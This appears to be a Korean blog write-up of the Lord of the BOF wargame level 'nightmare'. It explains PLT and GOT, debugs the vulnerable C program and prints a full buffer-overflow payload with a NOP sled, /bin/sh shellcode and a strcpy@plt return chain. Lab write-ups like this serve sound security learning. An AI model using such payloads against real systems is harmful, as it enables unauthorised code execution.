[LOB] succubus -> nightmare
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | /* The Lord of the BOF : The Fellowship of the BOF - nightmare - PLT */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dumpcode.h> main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc < 2){ printf("argv error\n"); exit(0); } // check address addr = (char *)&strcpy; if(memcmp(argv[1]+44, &addr, 4) != 0){ printf("You must fall in love with strcpy()\n"); exit(0); } // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // dangerous waterfall memset(buffer+40+8, 'A', 4); } | cs |
시작
힌트로 plt라고 나와있다. plt가 무엇이냐면..
- PLT (Procedure Linkage Table) : 외부 프로시저를 연결해주는 테이블. PLT를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있다.
- GOT (Global Offset Table) : PLT가 참조하는 테이블. 프로시저들의 주소가 들어있다.
함수를 호출하면(PLT를 호출하면) GOT로 점프하는데 GOT에는 함수의 실제 주소가 쓰여있다. 첫 번째 호출이라면 GOT는 함수의 주소를 가지고 있지 않고 ‘어떤 과정’을 거쳐 주소를 알아낸다. 두 번째 호출 부터는 첫 번째 호출 때 알아낸 주소로 바로 점프한다.
....
문제로 돌아와서 ret에 strcpy의 주소를 넣지않으면 exit한다.
그리고 마지막에 가면 memset으로 ret+4의 주소에 AAAA를 넣는다.
strcpy의 주소는 0x400767b0이다. 하지만 이 주소는 strcpy@plt가 아니라서 시도해보니 되지않았다;;
plt값을 알아보자
strcpy@plt : 0x8048410
코어덤프를 gdb에 넣어보니 strcpy가 호출되고 0x43434343, 0x44444444가 들어간것을 보니 잘 실행되었다.
그러나... strcpy가 끝나고 다음으로 실행하게될 ret의 주소가 AAAA로 덮어써져있어서 다음 함수로의 실행이 불가능하다.
memset(buffer+40+8, 'A', 4);
0xbffff690에 있는 값을 쉘코드의 주소로 덮으면 된다.
저 0x41414141이 있는 곳에 쉘코드의 주소를 넣을 것이다. 저곳의 주소는 0xbffffc2b이다.
strcpy(0xbffff690, 0xbffffc2b)가 실행되게 할것이다.
그리고 0xbffffc2b에는 쉘코드의 주소를 넣자, 적당히 0xbffff8c8 정도면 될 것 같다.
payload : ./nightmare `python -c 'print("A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x90\xf6\xff\xbf"+"\x2b\xfc\xff\xbf"+" "+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xc8\xf8\xff\xbf"+"\00")'`
위와 같이 해서 공격하면될것같다. 마지막에 \x00은 strcpy할 때 NULL값까지 복사하므로 넣어주엇다.
성공~
'Wargame > LOB' 카테고리의 다른 글
[LOB] xavius -> death_knight (0) | 2018.04.04 |
---|---|
[LOB] nightmare -> xavius (0) | 2018.04.03 |
[LOB] zombie_assassin -> succubus (0) | 2018.04.03 |
[LOB] assassin -> zombie_assassin (0) | 2018.04.02 |
[LOB] giant -> assassin (0) | 2018.04.02 |